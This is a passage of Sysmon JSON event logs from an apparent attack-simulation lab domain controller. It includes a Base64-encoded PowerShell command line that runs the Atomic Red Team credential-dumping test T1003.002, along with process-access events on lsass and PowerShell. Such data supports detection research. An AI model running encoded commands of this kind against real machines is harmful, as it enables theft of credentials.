C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.942\r\nProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nProcessId: 4384\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001012100800}\r\nParentProcessId: 4452\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.942","ProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-416E-5F2D-0000-001012100800}","ParentProcessId":"4452","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nSourceProcessId: 4452\r\nSourceThreadId: 2812\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA458890)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","SourceProcessId":"4452","SourceThreadId":"2812","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA458890)","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 